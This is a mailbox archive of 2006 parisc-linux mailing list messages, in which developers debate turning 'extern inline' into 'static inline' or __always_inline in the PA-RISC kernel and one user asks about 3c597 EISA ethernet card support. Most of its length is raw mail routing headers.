Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4A0797D9D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:44:22 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 13155494011; Fri,  1 Dec 2006 09:44:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id BB0FE494007;
	Fri,  1 Dec 2006 09:43:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4939129806B;
	Fri,  1 Dec 2006 09:43:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12179-10; Fri, 1 Dec 2006 09:43:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A7B6D298063; Fri,  1 Dec 2006 09:43:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061201114811.GQ11084@stusta.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kzcbLWY6TlIvULeQeGhrq8RGU2poZZmy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25397

On Fri, Dec 01, 2006 at 12:48:11PM +0100, Adrian Bunk wrote:
> "extern inline" generates a warning with -Wmissing-prototypes and I'm 
> currently working on getting the kernel cleaned up for adding this to 
> the CFLAGS since it will help us to avoid a nasty class of runtime 
> errors.


John David Anglin is the hppa/parisc gcc maintainer and has
commented on inline variants last year:
    http://lists.parisc-linux.org/pipermail/parisc-linux/2005-October/027587.html

This makes me think -Wmissing-prototypes is reporting the wrong warning.
ie there is a prototype but no function and no label.
Can you check with gcc folks to see if this is a gcc bug?

The parisc point intentionally switched to "extern inline" at one
point and unless what jda wrote is now incorrect, I'm not inclined
to change it.

> If there are places that really need a forced inline, __always_inline 
> would be the correct solution.

Yes, all the functions marked "extern inline" are expected to get
essentially the same treatment as "always_inline".

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] parisc: "extern inline" -> "static
	inline" (fwd)
Date: Fri, 1 Dec 2006 17:54:27 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20061201165427.GD11084__42136.5252383568$1416624627$gmane$org@stusta.de>
References: <20061201114811.GQ11084@stusta.de>
	<20061201164354.GA10549@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624627 28253 80.91.229.3 (22 Nov 2014 02:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:27 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 16:54:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 01 Dec 2006 17:54:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 763197D9E9;
	Fri,  1 Dec 2006 09:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19706-07; Fri, 1 Dec 2006 09:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A9497D9CD;
	Fri,  1 Dec 2006 09:54:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3FA07D41C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:54:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19811-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 09:54:44 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4C4217D409
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:54:44 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 13A2E494007; Fri,  1 Dec 2006 09:54:44 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by mail.parisc-linux.org (Postfix) with SMTP id 4B4DB494010
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 09:54:22 -0700 (MST)
Original-Received: (qmail 3356 invoked from network); 1 Dec 2006 16:54:20 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 1 Dec 2006 16:54:20 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 4DA65114D76; Fri,  1 Dec 2006 17:54:27 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20061201164354.GA10549@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V2ZFcWxCRkkeaauPfGRqrf5mdWkvKNOY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25398

On Fri, Dec 01, 2006 at 09:43:54AM -0700, Grant Grundler wrote:
> On Fri, Dec 01, 2006 at 12:48:11PM +0100, Adrian Bunk wrote:
> > "extern inline" generates a warning with -Wmissing-prototypes and I'm 
> > currently working on getting the kernel cleaned up for adding this to 
> > the CFLAGS since it will help us to avoid a nasty class of runtime 
> > errors.
> 
> 
> John David Anglin is the hppa/parisc gcc maintainer and has
> commented on inline variants last year:
>     http://lists.parisc-linux.org/pipermail/parisc-linux/2005-October/027587.html
> 
> This makes me think -Wmissing-prototypes is reporting the wrong warning.
> ie there is a prototype but no function and no label.
> Can you check with gcc folks to see if this is a gcc bug?
> 
> The parisc point intentionally switched to "extern inline" at one
> point and unless what jda wrote is now incorrect, I'm not inclined
> to change it.

If you read John David Anglin's email, you'll note that if you take the 
address you need this function provided somewhere.

Which of the functions my patch changes also have a global function 
provided within the kernel?

If none, "extern inline" didn't make any sense.

> > If there are places that really need a forced inline, __always_inline 
> > would be the correct solution.
> 
> Yes, all the functions marked "extern inline" are expected to get
> essentially the same treatment as "always_inline".

Currently, "inline" is defined to be always_inline, and 
__always_inline is for cases that produce non-compiling or non-working 
(opposed to only suboptimal) code.

> thanks,
> grant

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] parisc: "extern inline" -> "static
	inline" (fwd)
Date: Fri, 1 Dec 2006 10:36:47 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20061201173647.GB10549__42217.5679974773$1416624627$gmane$org@colo.lackof.org>
References: <20061201114811.GQ11084@stusta.de>
	<20061201164354.GA10549@colo.lackof.org>
	<20061201165427.GD11084@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624627 28259 80.91.229.3 (22 Nov 2014 02:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:27 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 matthew@wil.cx,
 linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 17:37:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 01 Dec 2006 18:37:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 507A17D9F7;
	Fri,  1 Dec 2006 10:37:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20222-08; Fri, 1 Dec 2006 10:37:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A37A7D9ED;
	Fri,  1 Dec 2006 10:37:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0D1A7D9EB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 10:37:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20222-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 10:37:15 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 94A967D9E6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 10:37:15 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 57306494011; Fri,  1 Dec 2006 10:37:15 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id E837F494007;
	Fri,  1 Dec 2006 10:36:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 900F0360136;
	Fri,  1 Dec 2006 10:36:48 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17244-03; Fri, 1 Dec 2006 10:36:48 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0AB3D360135; Fri,  1 Dec 2006 10:36:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061201165427.GD11084@stusta.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Dg0CZUkOeSE5SL6WZHQhdaR2IGRvbwB4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25399

On Fri, Dec 01, 2006 at 05:54:27PM +0100, Adrian Bunk wrote:
> If you read John David Anglin's email, you'll note that if you take the 
> address you need this function provided somewhere.

Let me turn that around.
Which of the "extern inline" functions are we taking the address?
The parisc kernel wouldn't (shouldn't) link if that were true.

> Which of the functions my patch changes also have a global function 
> provided within the kernel?
> 
> If none, "extern inline" didn't make any sense.

I expect none.

...
> Currently, "inline" is defined to be always_inline, and 
> __always_inline is for cases that produce non-compiling or non-working 
> (opposed to only suboptimal) code.

Ok.  Sounds like "extern inline" is the same as __always_inline.

Has gcc community confirmed "gcc -Wmissing-prototypes" behavior
is really correct with respect to "extern inline"?

If so, I'm ok with changing "extern inline" to __always_inline.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone use a 3c597?
Date: Sat, 02 Dec 2006 07:29:18 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <45718DBE.30509__30250.2011684284$1416624628$gmane$org@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624628 28269 80.91.229.3 (22 Nov 2014 02:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 14:29:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 02 Dec 2006 15:29:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 765A87D951;
	Sat,  2 Dec 2006 07:29:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04370-03; Sat, 2 Dec 2006 07:29:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87B807D990;
	Sat,  2 Dec 2006 07:29:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B208F7D937
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 07:29:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04089-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Dec 2006 07:29:26 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 56C3A7D834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 07:29:26 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E87E2494010; Sat,  2 Dec 2006 07:29:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pd5mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by mail.parisc-linux.org (Postfix) with ESMTP id B057649400E
	for <parisc-linux@parisc-linux.org>;
	Sat,  2 Dec 2006 07:29:20 -0700 (MST)
Original-Received: from pd3mr2so.prod.shaw.ca
	(pd3mr2so-qfe3.prod.shaw.ca [10.0.141.178]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0J9N00G33HKWEU30@l-daemon> for
	parisc-linux@parisc-linux.org; Sat, 02 Dec 2006 07:29:20 -0700 (MST)
Original-Received: from pn2ml2so.prod.shaw.ca ([10.0.121.146])
	by pd3mr2so.prod.shaw.ca (Sun Java System Messaging Server 6.2-7.05
	(built Sep
	5 2006)) with ESMTP id <0J9N004FVHKVZCF0@pd3mr2so.prod.shaw.ca> for
	parisc-linux@parisc-linux.org; Sat, 02 Dec 2006 07:29:20 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J9N00FBZHKVTWS2@l-daemon> for
	parisc-linux@parisc-linux.org; Sat, 02 Dec 2006 07:29:19 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	kB2FTHQE004138	for
	<parisc-linux@parisc-linux.org>; Sat, 02 Dec 2006 08:29:18 -0700
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: ClamAV version 0.88.6,
	clamav-milter version 0.88.6 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tOQUBEMbfW4oTuWveGVoi0NmdmllckUH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25400

I am looking to pick up an EISA ethernet card.  I've found a 3c597 for
fairly cheap, but upon searching I noticed a couple of notes on the
mailing list back in 2002/2003 that mentioned issues with this driver.
Does anyone right now have this card working, and if not, does anyone
have any suggestions for something EISA?

   Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <maz@misterjones.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone use a 3c597?
Date: Sat, 02 Dec 2006 16:16:47 +0100
Organization: Metropolis -- Nowhere
Lines: 28
Approved: news@gmane.org
Message-ID: <wrp3b7y2uqo.fsf__24063.28141592$1416624628$gmane$org@wild-wind.fr.eu.org>
References: <45718DBE.30509@excelcia.org>
Reply-To: maz@misterjones.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624628 28272 80.91.229.3 (22 Nov 2014 02:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 15:17:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 02 Dec 2006 16:17:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 671C37D9C2;
	Sat,  2 Dec 2006 08:17:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05052-07; Sat, 2 Dec 2006 08:17:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D3457D9C8;
	Sat,  2 Dec 2006 08:17:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29D1C7D9BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 08:17:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05052-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Dec 2006 08:17:14 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C1E717D9B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 08:17:14 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 99266494010; Sat,  2 Dec 2006 08:17:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org
	[62.4.18.26]) (using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 066C949400E
	for <parisc-linux@parisc-linux.org>;
	Sat,  2 Dec 2006 08:16:52 -0700 (MST)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139] helo=hina)
	by young-lust.wild-wind.fr.eu.org with esmtpsa
	(TLS-1.0:RSA_AES_256_CBC_SHA1:32) (Exim 4.63)
	(envelope-from <maz@misterjones.org>)
	id 1GqWbg-0006Dv-UX; Sat, 02 Dec 2006 16:16:49 +0100
Original-Received: from maz by hina with local (Exim 4.63)
	(envelope-from <maz@misterjones.org>)
	id 1GqWbf-0001ki-C9; Sat, 02 Dec 2006 16:16:47 +0100
X-Attribution: maz
